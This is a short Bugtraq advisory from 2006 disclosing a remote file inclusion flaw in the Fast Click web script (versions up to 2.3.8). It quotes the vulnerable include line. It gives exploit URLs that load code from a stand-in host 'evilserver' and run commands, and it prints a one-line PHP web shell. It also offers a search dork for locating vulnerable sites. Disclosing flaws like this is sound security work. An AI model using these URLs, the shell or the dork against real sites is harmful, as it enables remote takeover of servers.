Bugtraq: Fast Click <= 2.3.8 Remote File Inclusion

[Aminrayden () yahoo com]

Fast Click <= 2.3.8 Remote File Inclusion
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Aria-security.com advisory
Bug Discovered by R () 1D3N (amin emami)
email:AminRayden () yahoo com and rayden () aria-security net
Date:02/05/2006
original advisory:http://www.aria-security.net/advisory/fc/fastclick.txt
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Affected software description:
Fast Click <= 2.3.8
Vendor:http://www.ftrain.siteburg.com/fclicksqlpro/fclick.php?fclick
Vulnerability: remote file inclusion
Dork:inurl:"fclick.php?fid"
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Disscution:
The problem exists is in the files "show.php" and "top.php" when include the
variable $Path
Vulnerable Code:
include($path."cfg.php")

Exploitation example:
http://[target].com/[path]/show.php?path=http://evilserver/cmd.gif?&cmd=uname -a
http://[target].com/[path]/top.php?path=http://evilserver/cmd.gif?&cmd=uname -a

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cmd.gif
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<?
system($cmd);
?>
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* Fix *:
 
Contact the Vendor


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Aria Security Research
Http://www.aria-security.net